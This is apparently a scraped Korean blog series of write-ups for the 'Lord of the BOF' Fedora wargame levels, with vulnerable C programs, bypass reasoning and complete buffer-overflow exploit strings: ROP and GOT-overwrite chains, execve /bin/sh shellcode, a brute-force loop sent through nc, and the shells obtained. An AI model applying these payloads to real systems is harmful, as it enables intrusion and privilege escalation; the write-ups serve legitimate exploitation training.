             ,'.-'____`-.`.

           ,'_.-''    ``-._`.

         ,','      /\      `.`.

       ,' /.._  O /  \ O  _.,\ `.

     ,'/ /  \ ``-;.--.:-'' /  \ \`.

   ,' : :    \  /\`.,'/\  /    : : `.

  < <>| |   O >(< (  ) >)< O   | |<> >

   `. : :    /  \/,'`.\/  \    ; ; ,'

     `.\ \  /_..-:`--';-.._\  / /,'

       `. \`'   O \  / O   `'/ ,'

         `.`._     \/     _,','

           `..``-.____.-'',,'

             `.`-.____.-','

               `.  <>  ,'

                 `.  ,' 

                   `'



ps. 풀기전에 너무 헤맸다.. 다 풀고보니까 안 어려워 보이지만 풀기까지 엄청 삽질했다..




'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora10]titan->balog  (0) 2016.01.06
[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23

/*

        The Lord of the BOF : The Fellowship of the BOF

        - enigma

        - Remote BOF on Fedora Core 4

        - hint : ? 

- port : TCP 7777

*/


#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>


int vuln(int canary,char *ptr)

{

        char buffer[256];

        int *ret;

        

// stack overflow!!

strcpy(buffer,ptr); 


// overflow protected

        if(canary != 0x31337)

        {

                printf("who broke my canary?!");

                exit(1);

        }


        // preventing RTL

        ret = &canary - 1;

        if((*ret & 0xff000000) == 0) 

        {

                printf("I've an allergy to NULL");

                exit(1);

        }


// clearing attack buffer

memset(ptr, 0, 1024);


        return 0;

}


int main()

{

char buffer[1024];


printf("enigma : The brothers will be glad to have you!\n");

printf("you : ");

fflush(stdout);


// give me a food!

        fgets(buffer, 1024, stdin);


// oops~!

        vuln(0x31337, buffer);

// bye bye

exit(0);

}


프로그램을 설명하자면, main에서 fgets함수로 buffer에 버퍼 크기만큼 입력을 받고, vuln함수에 canary와 buffer를 인자로 넘겨줍니다.

vuln함수에서는 인자로 전달받은 buffer를 지역변수 buffer에 복사를 하는데 overflow가 발생합니다.

그 때 canary를 검사하여 0x31337값이 그대로면 종료하지 않고 RET영역에 들어가는 값과 0xff000000를 &연산을 하여 RET영역이

라이브러리 함수로 overwriting 되었는지 확인하고 라이브러리 함수면 종료한다.

만약 라이브러리 함수가 아니면 그 다음으로 memset을 통해 ptr주소부터 1024바이트 clear시켜줌



그럼 일단 nx bit에 아스키아머가 있고,asrl..음

vuln RET영역에 라이브러리 함수주소도 못쓰고...

할 수 있는건 fget함수가 사용하는 임시버퍼영역을 이용할 것인데, 그 영역을 mprotect함수로 x권한을 준 뒤 쉘코드를 넣고

쉘코드를 실행하게 해주면 nx bit를 우회할 수 있을 것이다. 밑에 그림으로 설명했으니까 그 부분에서 더 자세히 보자.



그런데 임시버퍼영역의 주소가 fedora3에서는 고정이였던 것 같은데 fedora4에서는 랜덤이다.. 확인해보자.


mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fc5000

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7feb000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f5e000

보면 0xb7fxx000  이런식이다. 그럼 저런 형식의 주소 하나를 정해서 브루트포싱 하면 될듯.



일단 fget함수의 임시버퍼영역으로 esp와 ebp를 이동시키기 위해서 필요한 것은 fake ebp기법을 통해

vuln함수가 leave , ret 명령을 할 때 sfp를 임시버퍼영역 주소 중 한 부분으로 overwriting 시켜줌으로써 ebp를 이동시켜주고,

RET영역에 &leaveret 주소를 overwriting 하여 esp를 이동시켜준다.


그림으로 설명하자면,





| AAAA... | SFP | RET | canary | BBBB | &mprotect | &shellcode | &stdin | strlen | rwx | nop+shellcode |



while true; do (python -c 'print "A"*260+"\x10\x91\xf6\xb7"+"\x8e\x85\x04\x08"+"\x37\x13\x03\x00"+"BBBB"+"\x40\xd2\x86\x00"+"\x90\x91\xf6\xb7"+"\x00\x90\xf6\xb7"+"\xe8\x03\x00\x00"+"\x07\x00\x00\x00"+"\x90"*400+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"';cat) | nc localhost 7777 ; done





enigma : The brothers will be glad to have you!

you : 

enigma : The brothers will be glad to have you!

you : 

enigma : The brothers will be glad to have you!

you : 




id

uid=502(enigma) gid=502(enigma) context=system_u:system_r:inetd_t

my-pass

euid = 502

let me ride


'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora10]titan->balog  (0) 2016.01.06
[Fedora4] enigma -> titan  (0) 2015.12.01
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23

/*

The Lord of the BOF : The Fellowship of the BOF 

- cruel

- Local BOF on Fedora Core 4

- hint : no more fake ebp, RET sleding on random library

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}




이 문제도 strcpy함수에 의해 buffer에 복사할 때 오버플로우가 발생한다.

그러면 execl함수를 사용하여 ret sleding하면서 스택에 박혀있는 쓰레기 값을 첫번째 인자로 만들어 준 뒤

그 첫번째 인자의 문자열을 심볼릭 링크를 걸고 공격하는 방법으로 공략하겠습니다.


[출처] http://smleenull.tistory.com/305

**주의할점**

(execl()함수의 두 번째 인자로 들어가는 값이 0x00000000인 경우엔 segmentation default가 뜬다.)




(gdb) p execl

$1 = {<text variable, no debug info>} 0x832d68 <execl>

0x08048451 <main+109>: ret    


RET = 0x08048451

execl  = 0x832d68




(gdb) b* main+109      // ret부분

Breakpoint 1 at 0x8048451

(gdb) r `python -c 'print "A"*260+"BBBB"'`

Starting program: /home/dark_stone/crue3 `python -c 'print "A"*260+"BBBB"'`

Reading symbols from shared object read from target memory...(no debugging symbols found)...done.

Loaded system supplied DSO at 0x9b2000

(no debugging symbols found)

(no debugging symbols found)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB



Breakpoint 1, 0x08048451 in main ()

(gdb) x/30wx $esp

0xbfc417bc: 0x42424242 0x00000000 0xbfc41844 0xbfc41850

0xbfc417cc: 0xbfc41800 0x00795898 0x007a3878 0xb7f41690

0xbfc417dc: 0x00000001 0x008caff4 0x007a2ca0  0x08048454

0xbfc417ec: 0xbfc41818 0xbfc417c0 0x007bad44 0x00000000

0xbfc417fc:       0x00000000 0x00000000 0x0079ae60 0x0079613d

0xbfc4180c: 0x007a2fb4 0x00000002 0x08048340 0x00000000

0xbfc4181c: 0x08048361 0x080483e4 0x00000002 0xbfc41844

0xbfc4182c: 0x08048454 0x080484b0


(gdb) r
Breakpoint 1, 0x08048451 in main ()
(gdb) x/30wx $esp
0xbfc5e05c: 0x42424242 0x00000000 0xbfc5e0e4 0xbfc5e0f0
0xbfc5e06c: 0xbfc5e0a0 0x00795898 0x007a3878 0xb7f60690
0xbfc5e07c: 0x00000001 0x008caff4 0x007a2ca0 0x08048454
0xbfc5e08c: 0xbfc5e0b8 0xbfc5e060 0x007bad44 0x00000000
0xbfc5e09c: 0x00000000 0x00000000 0x0079ae60 0x0079613d
0xbfc5e0ac: 0x007a2fb4 0x00000002 0x08048340 0x00000000
0xbfc5e0bc: 0x08048361 0x080483e4 0x00000002 0xbfc5e0e4
0xbfc5e0cc: 0x08048454 0x080484b0
(gdb) 

// 저기 밑줄 친 부분들은 여러번 다시 실행시켜도 고정적인 값이다. 그러므로 저 부분을 execl 인자로 사용하여 공략하면 된다.


(gdb) r `python -c 'print "A"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Breakpoint 1, 0x08048451 in main ()
(gdb) x/30wx $esp
0xbfb7df8c: 0x08048451 0x08048451 0x08048451 0x08048451   // ret주소
0xbfb7df9c: 0x08048451 0x08048451 0x08048451 0x00832d68  // execl 주소
0xbfb7dfac: 0x00000001 0x008caff4 0x007a2ca0 0x08048454  // execl 인자들
0xbfb7dfbc: 0xbfb7dfe8 0xbfb7df90 0x007bad44 0x00000000
0xbfb7dfcc: 0x00000000 0x00000000 0x0079ae60 0x0079613d
0xbfb7dfdc: 0x007a2fb4 0x00000002 0x08048340 0x00000000
0xbfb7dfec: 0x08048361 0x080483e4 0x00000002 0xbfb7e014
0xbfb7dffc: 0x08048454 0x080484b0


그러면 첫번째 인자(실행파일)의 문자열을 구해보자.

(gdb) x/10bx 0x008caff4
0x8caff4: 0x3c 0xad 0x8c 0x00 0x16 0xab 0x7b 0x00
0x8caffc: 0x00 0x00

// 실행 파일명이 0x3c 0xad 0x8c이다.  이 부분을 심볼릭 링크하자.
========================================================
[dark_stone@Fedora_2ndFloor ~]$ cat getsh.c 
#include<stdio.h>

int main()
{
setreuid(501,501);  //501은 cruel uid,gid
system("/bin/sh");
}
========================================================

[dark_stone@Fedora_2ndFloor ~]$ ln -s getsh "`python -c 'print "\x3c\xad\x8c"'`"



[dark_stone@Fedora_2ndFloor ~]$ ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh- 

sh-3.00$ id

uid=501(cruel) gid=500(dark_stone) groups=500(dark_stone) context=user_u:system_r:unconfined_t

sh-3.00$ my-pass

euid = 501

come on, come over

sh-3.00$ 



'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] enigma -> titan  (0) 2015.12.01
[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22

1. SSP(Stack Smashing Protector)

__stack_chk_fail


2. NX

readelf -l ./vul

실행권한 확인



3. Dummy

gcc -v

2.96 이상부터 더미존재


4. Random Stack

cat /proc/sys/kernel/exex-shield-randomize

1 - O

2 - X


5.Random Library

cat /proc/self/maps


6. ASCII Armor

cat /proc/self/maps


'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03

/*

The Lord of the BOF : The Fellowship of the BOF 

- dark_stone

- Remote BOF on Fedora Core 3 

- hint : GOT overwriting again

- port : TCP 8888

*/


#include <stdio.h>


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main()

{

char buffer[256];

char saved_sfp[4];

int length; 

char temp[1024];


printf("dark_stone : how fresh meat you are!\n");

printf("you : ");

fflush(stdout);


// give me a food

fgets(temp, 1024, stdin);


// for disturbance RET sleding

length = strlen(temp);

   

// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, temp);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


// buffer cleaning 

memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);


printf("%s\n", buffer);

}


fgets 함수를 이용하여 temp에 입력하고 strcpy로 temp에 내용을 buffer에 복사한다.
그 후 sfp값을 복원하고, ret sled를 막기 위해 buffer+length ~ ff000000까지 클리어시킨다.

더 추가 된 부분은 fgets함수가 사용하는 임시버퍼영역(0xf6ffe000)을 클리어시켰다.


전에 풀었던 것과 비슷하게 아니 거의 똑같은거 같다.. 
pop_pop_ret의 특징을 이용해 strcpy를 연속적으로 사용함으로써 printf@got를 system@got로 overwriting 시키고
printf@plt 를 ret영역에 덮어씌워서 결국 system("/bin/sh")이 실행되게 하면 될 것 같다.


자세한 과정은 이전에 풀은 문제에 있기 때문에 간단하게만 쓰겠습니다.



필요한 주소

.bss : 0x08049868

system: 0x7507c0

c0 : 0x80483f4

07 : 0x8048364

75 : 0x80482b4

00 : 0x8048274


strcpy@plt : 0x08048438

printf@plt : 0x08048408

printf@got : 0x0804984c

ppr : 0x80484f3

/bin/sh : 0x833603





payload 구성

python -c 'print "A"*264+"BBBB"+"strcpy@plt"+"ppr주소"+".bss+0주소"+"system@got+0"+

"strcpy@plt"+"ppr주소"+".bss+1주소"+"system@got+1"+

"strcpy@plt"+"ppr주소"+".bss+2주소"+"system@got+2"+

"strcpy@plt"+"ppr주소"+".bss+3주소"+"system@got+3"+

"strcpy@plt"+"ppr주소"+"printf@got"+".bss+0주소"+

"printf@plt"+"BBBB"+"/bin/sh주소"



(python -c 'print "A"*264+"BBBB"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x68\x98\x04\x08"+"\xf4\x83\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x69\x98\x04\x08"+"\x64\x83\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6a\x98\x04\x08"+"\xb4\x82\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6b\x98\x04\x08"+"\x74\x82\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x4c\x98\x04\x08"+"\x68\x98\x04\x08"+"\x08\x84\x04\x08"+"BBBB"+"\x03\x36\x83\x00"';cat) | ./dark_stone







끝!



redhat lob에 비해 방어기법이 추가되어서 확실히 여러가지 어려운 부분도 있었고,

얻은 것도 많았던 것 같다. 




비밀번호



'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20

/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3 

- hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, argv[1]);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


printf("%s\n", buffer);

}



보면 입력값(argv[1])를 buffer에 strcpy함수를 이용하여 복사를 한다.
그 후 sfp를 복원해주고, buffer 주소 ~ buffer + length를 제외한 높은주소 부분을 0으로 클리어 한다.
이 부분으로 인해 ret sled를 막고자 한 것 같다.



힌트에서도 써있듯 GOT overwriting기법을 이용하면 될 것 같다.


소스코드를 보면 pop_pop_ret함수가 있는 것으로 보아 연속해서 함수 호출이 가능할 것 같다.
| buf | SFP | RET | &pop_pop_ret | 인자1 | 인자2 | RET` | &pop_pop_ret | 인자`1 | 인자`2 ... 

이런식의 연속해서 함수 호출을 말하는 것이다.



그러면 strcpy함수를 이용하여 printf@got 값을 system함수의 got로 변경시켜주고, /bin/sh을 실행시키면 쉘을 딸 수 있을 것 같다.


./evil_wizard `python -c 'print "A"*264+"BBBB"+ strcpy@plt + &ppr + "print@got[0]" + "system@got[0]"+

strcpy@plt + &ppr + "print@got[1]" + "system@got[1]"+

strcpy@plt + &ppr + "print@got[2]" + "system@got[2]"+

strcpy@plt + &ppr + "print@got[3]" + "system@got[3]" +

printf@plt + BBBB + /bin/sh주소




strcpy@plt 주소 : 0x8048494

ppr 주소 : 0x0804854f

print@got[0]주소 : 0x8049884, 0x8049885, 0x8049886, 0x8049887

system주소  : 0x7507c0

printf@plt : 0x08048424

c0 : 0x8048420

07 : 0x8048378

75 : 0x80482c8

00 : 0x80482f8

/bin/sh 0x833603

저기 system@got의 1바이트 주소들은 다음과 같이 구하면 된다.



c0 : 0x8048420



07 : 0x8048378



75 : 0x80482c8



00 : 0x80482f8



./evil_wizard "`python -c 'print "A"*264+"BBBB"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x84\x98\x04\x08"+"\x20\x84\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x85\x98\x04\x08"+"\x78\x83\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x86\x98\x04\x08"+"\xc8\x82\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x87\x98\x04\x08"+"\xf8\x82\x04\x08"+"\x24\x84\x04\x08"+"BBBB"+"\x03\x36\x83\x00"'`"








'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20
[Fedora3] gate -> iron_golem  (0) 2015.11.19

+ Recent posts